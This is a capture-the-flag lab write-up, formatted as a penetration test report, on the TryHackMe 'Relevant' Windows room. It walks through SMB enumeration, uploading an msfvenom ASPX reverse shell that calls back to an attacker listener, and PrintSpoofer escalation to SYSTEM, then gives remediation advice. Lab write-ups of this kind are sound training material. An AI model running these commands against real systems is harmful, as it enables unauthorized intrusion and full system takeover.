

Penetration Testing Report: TryHackMe - Relevant

1. Executive Summary

The "Relevant" room on TryHackMe is a Windows-based Capture The Flag (CTF) challenge that simulates a realistic penetration testing scenario. The objective is to identify vulnerabilities, exploit them to gain initial access, and perform privilege escalation to secure full administrative control (NT AUTHORITY\SYSTEM).

This assessment uncovered a critical misconfiguration in an exposed network share combined with a vulnerable IIS web server application pool configuration. This allowed for remote code execution (RCE) and subsequent privilege escalation via token manipulation.

2. Reconnaissance & Enumeration

2.1 Network Scanning (nmap)

An initial Nmap scan was conducted against the target IP 10.113.150.255 to identify open ports and running services.

Bash

```
nmap -sC -sV -p- -T4 -oN nmap_initial.txt 10.113.150.255
```

Discovered Open Ports:

Port	Service	Version / Info
80	HTTP	Microsoft IIS httpd 10.0
135	MSRPC	Microsoft Windows RPC
139	NetBIOS	Microsoft Windows netbios-ssn
445	SMB	Windows Server 2016 Standard 14393 (Smbby)

3389	RDP	Microsoft Terminal Services
49663	HTTP	Microsoft IIS httpd 10.0
49667	MSRPC	Microsoft Windows RPC
49669	MSRPC	Microsoft Windows RPC

2.2 SMB Enumeration

Using smbclient, the available shares were listed anonymously:

Bash

```
smbclient -L //10.113.150.255/
```

- **Findings:** A non-default share named nt4wrksv allowed **anonymous read/write access**.
- **Content Exploration:** Inside the nt4wrksv share, a file named passwords.txt was discovered containing encoded credentials:
 - Qm9ifed... (Base64 encoded string)
 - *Note:* Decoding these credentials did not immediately yield active access to other services, but the ability to upload files to this share proved critical.

2.3 Web Directory Enumeration

The standard port 80 showed a default IIS landing page. However, looking closely at the high-range HTTP port discovered during the scan (**49663**), we cross-referenced it with our SMB share.

By navigating to `http://10.113.150.255:49663/nt4wrksv/passwords.txt`, the file was accessible via the browser. This confirmed that the **SMB share folder is mapped directly as a virtual directory on the IIS web server**.

3. Initial Access (Exploitation)

Since we have write permissions on the SMB share and the web server executes files out of that directory, we can achieve Remote Code Execution (RCE) by uploading a malicious ASPX web shell.

3.1 Payload Generation

Using msfvenom, an ASPX reverse shell payload was generated:

Bash

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 -f aspx -o reverse.aspx
```

3.2 Uploading the Shell

The shell was uploaded via smbclient:

Bash

```
smbclient //10.113.150.255/nt4wrksv  
smb: \> put reverse.aspx
```

3.3 Catching the Shell

A Netcat listener was set up on the attacking machine:

Bash

```
nc -lvnp 4444
```

By triggering the payload via the browser or curl:

Bash

```
curl http://10.113.150.255:49663/nt4wrksv/reverse.aspx
```

A connection was successfully established, granting access as the service account:

DOS

```
C:\Windows\system32> whoami  
iis apppool\defaultapppool
```

User Flag: The user flag can be located at C:\Users\Bob\Desktop\user.txt.

4. Privilege Escalation

4.1 System Enumeration

Checking the current privileges of the iis apppool\defaultapppool account using whoami /priv:

DOS

PRIVILEGES INFORMATION

Privilege Name	Description	State
=====		
=====		
SeAssignPrimaryTokenPrivilege	Replace a process level token	Disabled
SeIncreaseQuotaPrivilege	Adjust memory quotas for a process	Disabled
SeAuditPrivilege	Generate security audits	Disabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeImpersonatePrivilege	Impersonate a client after authentication	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled

- **Vulnerability:** SeImpersonatePrivilege is **Enabled**. This privilege allows a service account to impersonate other accounts (including SYSTEM) if it can coerce a higher-privileged service to authenticate against it.

4.2 Exploitation via PrintSpoofer / JuicyPotato

Because the target is running Windows Server 2016, the **PrintSpoofer** exploit is highly effective and lightweight for exploiting SeImpersonatePrivilege.

1. **Transfer the Exploit:** Download PrintSpoofer64.exe to the local machine and upload it to the target via the writable SMB share (C:\inetpub\wwwroot\nt4wrksv\PrintSpoofer64.exe).
2. **Execution:** Execute the binary via the reverse shell to spawn an interactive command prompt as SYSTEM:

DOS

```
cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer64.exe -i -c cmd
```

Output:

DOS

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe created...

[+] Spawned thread for client...

[+] Windows PowerShell / Command Prompt running as NT AUTHORITY\SYSTEM

```
C:\Windows\system32> whoami  
nt authority\system
```

Root Flag: The root flag can be located at C:\Users\Administrator\Desktop\root.txt.

5. Remediation Recommendations

1. **Restrict SMB Share Access:** Disable anonymous/guest access to the nt4wrksv share. Ensure strict Access Control Lists (ACLs) are configured so that only authorized users can read or write files.
2. **Isolate Web Directories:** Never map a writeable SMB share directly as an executable directory within a web server webroot. Implement strict file-upload validations if upload functionality is required.
3. **Enforce Least Privilege:** Review the privileges assigned to the IIS Application Pool identity. If SeImpersonatePrivilege is not strictly necessary for the application's functionality, it should be disabled to prevent local token impersonation attacks.
4. **Patching and Updates:** Ensure the server is routinely updated to mitigate known service vulnerabilities that can be leveraged by privilege escalation vectors.